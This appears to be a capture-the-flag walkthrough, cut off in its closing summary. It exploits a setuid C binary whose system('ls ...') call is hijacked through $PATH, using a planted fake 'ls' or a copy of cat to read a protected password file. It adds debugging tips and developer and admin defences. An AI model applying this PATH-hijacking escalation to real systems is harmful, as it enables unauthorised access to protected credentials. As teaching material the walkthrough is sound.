Understanding the Challenge
This challenge demonstrates a critical security vulnerability in Unix-like systems where privilege escalation meets command injection. You'll exploit a vulnerable C program that uses elevated permissions to execute shell commands, manipulating the environment to bypass security restrictions and read a protected password file. This exercise bridges foundational security concepts with real-world attack vectors.
Key Points
- Primary Goal: Exploit the
ch12binary to read/challenge/app-script/ch12/.passwdby hijacking command execution - Attack Vector: Manipulate the
$PATHenvironment variable to redirect thelscommand to a malicious script - Core Vulnerability: The
system()function executes commands through/bin/sh, making it susceptible to environment-based attacks - Required Skills: Understanding of Unix permissions, Bash scripting, system calls, and environment variable manipulation
The Vulnerable Program
The target binary contains the following C code:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
setreuid(geteuid(), geteuid());
system("ls -lA /challenge/app-script/ch12/.passwd");
return 0;
}
Why This Code Is Vulnerable
The program makes two critical function calls that create an exploitable condition:
setreuid(geteuid(), geteuid())- Elevates the process to run with the binary owner's permissionssystem("ls -lA ...")- Executes a shell command without using absolute paths
Critical Insight: When
system()invokes a command, it searches for executables using the$PATHenvironment variable. By controlling$PATH, you control which program gets executed.
Understanding Key System Calls
setreuid() Function
| Aspect | Description |
|---|---|
| Purpose | Sets both real and effective user IDs of the calling process |
| Usage Here | Matches the process permissions to the binary's owner (likely the user who can read .passwd) |
| Security Risk | Grants elevated privileges that persist through subsequent commands |
system() Function
| Aspect | Description |
|---|---|
| Purpose | Executes a command string by invoking /bin/sh -c |
| Usage Here | Runs ls -lA to list the password file |
| Security Risk | Vulnerable to command injection and environment manipulation attacks |
| Why Dangerous | Uses relative command names instead of absolute paths like /bin/ls |
Exploitation Strategy
Step 1: Create the Exploit Environment
Set up a controlled directory that will appear first in your $PATH:
mkdir -p /tmp/exploit
export PATH=/tmp/exploit:$PATH
Verify the path modification:
echo $PATH
# Should show: /tmp/exploit:/usr/local/bin:/usr/bin:/bin:...
Step 2: Build the Malicious Script
Create a fake ls command in /tmp/exploit/ls:
#!/bin/bash
# Ignore all flags and arguments except the file path
shift $(( $# - 1 )) # Remove all arguments except the last
cat "$1" # Display the file contents
Make it executable:
chmod +x /tmp/exploit/ls
Step 3: Alternative Approach (Simpler)
For a more straightforward solution, simply copy cat as ls:
cp /bin/cat /tmp/exploit/ls
chmod +x /tmp/exploit/ls
Why This Works: The
catcommand ignores the-lAflags and treats them as additional arguments, ultimately displaying the file specified last (the.passwdfile).
Step 4: Execute the Exploit
Run the vulnerable binary:
/challenge/app-script/ch12/ch12
The binary will execute your malicious ls instead of the system's legitimate one, revealing the password file contents.
How the Attack Works
Command Resolution Process
- The
ch12binary callssystem("ls -lA /challenge/app-script/ch12/.passwd") - The shell (
/bin/sh) searches forlsin directories listed in$PATH - It finds
/tmp/exploit/lsfirst (before/bin/ls) - Your malicious script executes with elevated privileges from
setreuid() - The script reads and displays the protected
.passwdfile
The Role of $PATH
The $PATH variable is a colon-separated list of directories:
/tmp/exploit:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
Search Order: Left to right, first match wins
Attack Principle: Place a writable directory at the beginning to override system commands
Troubleshooting Common Issues
| Problem | Diagnosis | Solution |
|---|---|---|
| Script doesn't execute | Permission issue | Run chmod +x /tmp/exploit/ls |
Wrong ls is called | $PATH not updated | Verify with which ls - should show /tmp/exploit/ls |
| Permission denied on file | setreuid() failed | Check binary has setuid bit: ls -l ch12 |
| Flags cause script to fail | Argument parsing error | Use the cat copy method instead |
Debugging with strace
Trace system calls to understand execution flow:
strace -f -e trace=execve,setreuid /challenge/app-script/ch12/ch12
This shows:
- Which
lsbinary is executed - Whether
setreuid()succeeds - The exact command line passed to the shell
Defense Mechanisms
How to Prevent This Attack
As a Developer:
-
Use absolute paths in
system()calls:system("/bin/ls -lA /challenge/app-script/ch12/.passwd"); -
Sanitize the environment before executing commands:
setenv("PATH", "/bin:/usr/bin", 1); system("ls -lA /challenge/app-script/ch12/.passwd"); -
Avoid
system()entirely - useexecve()with explicit arguments:char *args[] = {"/bin/ls", "-lA", "/path/to/file", NULL}; execve("/bin/ls", args, NULL); -
Drop privileges when not needed:
// Execute command with normal privileges setreuid(getuid(), getuid());
As a System Administrator:
- Restrict write permissions on directories in
$PATH - Monitor for suspicious setuid binaries
- Use security tools like
AppArmororSELinuxto restrict process capabilities
Learn More
Advanced Topics to Explore
Environment Variable Attacks:
$IFSmanipulation for command splitting$LD_PRELOADfor library injection$LD_LIBRARY_PATHhijacking
System Call Deep Dive:
execve()vssystem()security implicationsfork()andclone()for process creationptrace()for process debugging and manipulation
File Permission Mastery:
- Setuid/setgid bit behavior and risks
- Capabilities system in modern Linux
- Access Control Lists (ACLs) for fine-grained permissions
Practical Exercises
- Modify the exploit to work even if the binary uses
/bin/sh -cexplicitly - Create a logging wrapper that records all commands executed through your fake
ls - Build a defense script that detects suspicious
$PATHmodifications - Experiment with
LD_PRELOADto intercept thesystem()call itself
Recommended Tools
strace- Trace system calls and signalsltrace- Trace library callsgdb- Debug the binary to understand its behaviorchecksec- Analyze binary security properties
Summary
This challenge illust